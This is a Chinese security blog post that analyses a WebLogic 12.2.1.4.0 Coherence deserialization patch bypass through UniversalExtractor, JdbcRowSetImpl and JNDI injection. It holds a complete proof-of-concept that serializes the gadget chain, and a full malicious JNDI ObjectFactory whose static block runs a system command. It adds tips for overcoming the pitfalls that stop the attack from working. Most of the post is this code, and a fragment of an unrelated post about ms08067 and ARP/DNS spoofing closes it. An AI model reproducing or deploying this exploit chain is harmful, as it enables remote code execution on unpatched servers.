1 前言
近日,Oracle官方发布安全更新,在此前的CVE-2020-2883 将 extract 方法存在危险操作的 MvelExtractor 和 ReflectionExtractor 两个类加入到了黑名单中,因此我们只需要继续找一个 extract 方法存在危险操作的类即可绕过补丁,这里找到的是 Weblogic 12.2.1.4.0 Coherence 组件特有的类 com.tangosol.util.extractor.UniversalExtractor,因此只能影响 Weblogic 12.2.1.4.x。
漏洞影响范围: Oracle WebLogic Server 12.2.1.4.0
附上本文内容的参考链接: T3反序列化 Weblogic12.2.1.4.0 JNDI注入
2 漏洞分析
先附上反序列化的调用链图
熟悉前几个coherence 反序列化漏洞的同学就应该知道,本次漏洞其实是找到了一个新的Extractor函数,但是受限于该函数影响,UniversalExtractor函数只存在于Oracle WebLogic Server 12.2.1.4.0版本中,这与oracle发布的更新公告其实有一点出入,公告里似乎显示的影响全版本,这里就不再计较这些,开始进行漏洞分析。
漏洞入口点在com.tangosol.util.extractor.UniversalExtractor第66行的extract函数,这里的oTarget变量可控,为了更好地展示代码,以下图直接以debug时的图作为过程来说明。
第70行传入m_cacheTarget变量,但是该变量为transient修饰,因此不可经过反序列化控制,这也就导致在73行判断targetPrev一定为null,进入到else处的代码,跟进extractComplex函数,
这里有几个函数需要具体跟进以下,第一个就是184行的getCanonicalName函数
87行getValueExtractorCanonicalName就跳过不看了,返回一定为空,进入到89行,继续跟进computeValueExtractorCanonicalName函数
这里我传入的是getDatabaseMetaData(),第17行判断aoParam是否为空,这里有经验的就能够猜到在后续的invoke里,一定会带上这里的aoParam,那么在这种情况下,我们后面构造的反射调用一定要是无参函数,这里其实是一个非常大的限制,非常像fastjson找setxxx的无参构造函数;19行判断sName是否以()结尾,如果不是则直接返回函数名,最后进入到sName的判断,这里判断比较简单,就是查看该函数是否以get/is为开头的函数,最后将前缀和后缀去掉,返回小写函数名。
看到这里总结下调用函数的条件:无参构造;函数名以get/is为开头。
那么这里返回到extractComplex函数,继续看185行的isPropertyExtractor函数,该函数默认返回为true,那么在下面的if判断中会默认进入到187行的判断语句中,这里跟进到findMethod函数,认真看前面的同学其实大概就能够猜到了,这里通过对BEAN_ACCESSOR_PREFIXES的遍历,然后对函数名进行拼接,也就是说对返回的sCName进行get/is的拼接,然后到clzTarget中去寻找该函数是否存在,所以这里一条函数反射调用的链隐隐约约就已经能够看出来了。
跟进到findMethod后对sName函数进行查找,如果存在返回Method。回到前面的调用图,203行就会对m_cacheTarget变量进行赋值,最后进入206行进行反射调用
这里安全客原文也给出了链,调用JdbcRowSetImpl.getDatabaseMetaData(),那么下面来看看该函数的写法
JNDI触发点函数位于JDK的内置类中com.sun.rowset.JdbcRowSetImpl中
这里必须符合前面的函数构造条件,发现均符合,然后跟进connect函数
这里326行可以看到通过getDataSourceName函数进行jndi的查询,然后lookup触发JNDI注入,那么到这里其实整条链就已经一目了然。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
import com.mysql.jdbc.JDBC4Connection;
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.UniversalExtractor;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.sql.DataSource;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.Connection;
import java.sql.DriverManager;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(“ldap://127.0.0.1:1389/Exploit”);
UniversalExtractor universalExtractor = new UniversalExtractor(“getDatabaseMetaData()”,new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new ExtractorComparator(universalExtractor));
// stub data for replacement later
queue.add(jdbcRowSet);
queue.add(jdbcRowSet);
File f = new File(“tmp.ser”);
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(f));
obj.writeObject(queue);
obj.close();
ObjectInputStream obj1 = new ObjectInputStream(new FileInputStream(f));
obj1.readObject();
obj1.close();
}
}
|
poc如上面的代码所示,通过setDataSourceName设定jndi地址,配合上marshalsec就能够进行JNDI注入。
但是在安全客的原文里作者提到了会有两次compare函数,通过第一次compare来改变UniversalExtractor的内部变量,这里其实指的就是改变m_cacheTarget变量,在上图的extractComplex函数中可以看到203行对m_cacheTarget进行了赋值,那么我们跟进37行代码,也就是第二次的compare来看看会有什么不同
在第二次的compare你会发现这里的m_cacheTarget变量已经被重新赋值了,不再为null,第一次compare中由于为null,所以会进入到76行的分支,而在这里,由于m_cacheTarget不为空,那么就会进入到73行的判断,首先targetPrev不为空,另外类名一致性检查也能过去了,都为JdbcRowSetImpl,所以最后进入到74行的代码,由于targetPrev.isMap()返回false,所以进入到后面的函数反射调用,这里其实就等同于前面第一次的反射调用,只是触发点位置不一样,也能触发JNDI注入漏洞。
3 后记
可能会有同学跟我想法一样,这个漏洞已经懂了,然后开启SimpleHTTPServer,准备调试,这时候就会发现你的JNDI服务端代码有问题,本身来说这个漏洞也不算复杂,但是笔者花了大量时间来调试JNDI服务端的代码,因为代码一旦有问题,整个序列化过程就会报错,笔者在这里至少发现两个坑,第一个坑就是JNDI需要返回实例,如果实例为空那么getDatabaseMetaData中就会报错,第二坑就是JdbcRowSetImpl中的getConnection和getMetadata,这里一旦返回为空,就会出现NullPointer报错,导致序列化中断,第三个坑就是getMetadata返回的数据会转化为Comparable类型,一旦类型转化报错,整个序列化过程也走不下去。
这里就附上笔者的JNDI服务端代码,其中mysql这个jar包是会默认存在于weblogic的lib里,实际上也可以找JDK原生DataSource,这样可能效果更好。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
|
import com.mysql.jdbc.jdbc2.optional.MysqlDataSource;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.sql.*;
import java.sql.Connection;
import java.util.Hashtable;
import java.util.Map;
import java.util.Properties;
import java.util.concurrent.Executor;
public class Exploit implements ObjectFactory
{
static {
try {
Runtime.getRuntime().exec(“open /Applications/Calculator.app”);
} catch ( Exception e ) {
e.printStackTrace();
}
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
MyMysqlDataSource mydatasource = new MyMysqlDataSource();
return mydatasource;
}
class MyMysqlDataSource extends MysqlDataSource {
public MyMysqlDataSource(){
}
public Connection getConnection() throws SQLException {
return new MyMetadata();
}
}
class MyMetadata implements Connection {
public MyMetadata(){ }
@Override
public Statement createStatement() throws SQLException {
return null;
}
@Override
public PreparedStatement prepareStatement(String sql) throws SQLException {
return null;
}
@Override
public CallableStatement prepareCall(String sql) throws SQLException {
return null;
}
@Override
public String nativeSQL(String sql) throws SQLException {
return null;
}
@Override
public void setAutoCommit(boolean autoCommit) throws SQLException {
}
@Override
public boolean getAutoCommit() throws SQLException {
return false;
}
@Override
public void commit() throws SQLException {
}
@Override
public void rollback() throws SQLException {
}
@Override
public void close() throws SQLException {
}
@Override
public boolean isClosed() throws SQLException {
return false;
}
@Override
public DatabaseMetaData getMetaData() throws SQLException {
return null;
}
public Comparable getMetaData(String str1) throws SQLException {
return null;
}
@Override
public void setReadOnly(boolean readOnly) throws SQLException {
}
@Override
public boolean isReadOnly() throws SQLException {
return false;
}
@Override
public void setCatalog(String catalog) throws SQLException {
}
@Override
public String getCatalog() throws SQLException {
return null;
}
@Override
public void setTransactionIsolation(int level) throws SQLException {
}
@Override
public int getTransactionIsolation() throws SQLException {
return 0;
}
@Override
public SQLWarning getWarnings() throws SQLException {
return null;
}
@Override
public void clearWarnings() throws SQLException {
}
@Override
public Statement createStatement(int resultSetType, int resultSetConcurrency) throws SQLException {
return null;
}
@Override
public PreparedStatement prepareStatement(String sql, int resultSetType, int resultSetConcurrency) throws SQLException {
return null;
}
@Override
public CallableStatement prepareCall(String sql, int resultSetType, int resultSetConcurrency) throws SQLException {
return null;
}
@Override
public Map<String, Class<?>> getTypeMap() throws SQLException {
return null;
}
@Override
public void setTypeMap(Map<String, Class<?>> map) throws SQLException {
}
@Override
public void setHoldability(int holdability) throws SQLException {
}
@Override
public int getHoldability() throws SQLException {
return 0;
}
@Override
public Savepoint setSavepoint() throws SQLException {
return null;
}
@Override
public Savepoint setSavepoint(String name) throws SQLException {
return null;
}
@Override
public void rollback(Savepoint savepoint) throws SQLException {
}
@Override
public void releaseSavepoint(Savepoint savepoint) throws SQLException {
}
@Override
public Statement createStatement(int resultSetType, int resultSetConcurrency, int resultSetHoldability) throws SQLException {
return null;
}
@Override
public PreparedStatement prepareStatement(String sql, int resultSetType, int resultSetConcurrency, int resultSetHoldability) throws SQLException {
return null;
}
@Override
public CallableStatement prepareCall(String sql, int resultSetType, int resultSetConcurrency, int resultSetHoldability) throws SQLException {
return null;
}
@Override
public PreparedStatement prepareStatement(String sql, int autoGeneratedKeys) throws SQLException {
return null;
}
@Override
public PreparedStatement prepareStatement(String sql, int[] columnIndexes) throws SQLException {
return null;
}
@Override
public PreparedStatement prepareStatement(String sql, String[] columnNames) throws SQLException {
return null;
}
@Override
public Clob createClob() throws SQLException {
return null;
}
@Override
public Blob createBlob() throws SQLException {
return null;
}
@Override
public NClob createNClob() throws SQLException {
return null;
}
@Override
public SQLXML createSQLXML() throws SQLException {
return null;
}
@Override
public boolean isValid(int timeout) throws SQLException {
return false;
}
@Override
public void setClientInfo(String name, String value) throws SQLClientInfoException {
}
@Override
public void setClientInfo(Properties properties) throws SQLClientInfoException {
}
@Override
public String getClientInfo(String name) throws SQLException {
return null;
}
@Override
public Properties getClientInfo() throws SQLException {
return null;
}
@Override
public Array createArrayOf(String typeName, Object[] elements) throws SQLException {
return null;
}
@Override
public Struct createStruct(String typeName, Object[] attributes) throws SQLException {
return null;
}
@Override
public void setSchema(String schema) throws SQLException {
}
@Override
public String getSchema() throws SQLException {
return null;
}
@Override
public void abort(Executor executor) throws SQLException {
}
@Override
public void setNetworkTimeout(Executor executor, int milliseconds) throws SQLException {
}
@Override
public int getNetworkTimeout() throws SQLException {
return 0;
}
@Override
public <T> T unwrap(Class<T> iface) throws SQLException {
return null;
}
@Override
public boolean isWrapperFor(Class<?> iface) throws SQLException {
return false;
}
}
}
|
简单来说就是自己定义了一个返回实例,该实例必须是DataSource类型,通过在getConnection函数中返回了一个自定义的Connection类,最后调用该类的getMetadata函数时返回为空,那么就可以转化为Compareable类型,从而生成序列化文件。
在内网渗透方面,最为大众所知道的就是xp系统的ms08067漏洞,通过这个漏洞可以对未打上补丁的xp系统实现getshell,但是经过笔者发现,这种漏洞攻击在被攻击机开上windows防火墙的时候是没用的(连ping都会被拒绝),但是arp+dns欺骗仍然是可…
请登录后发表评论
注册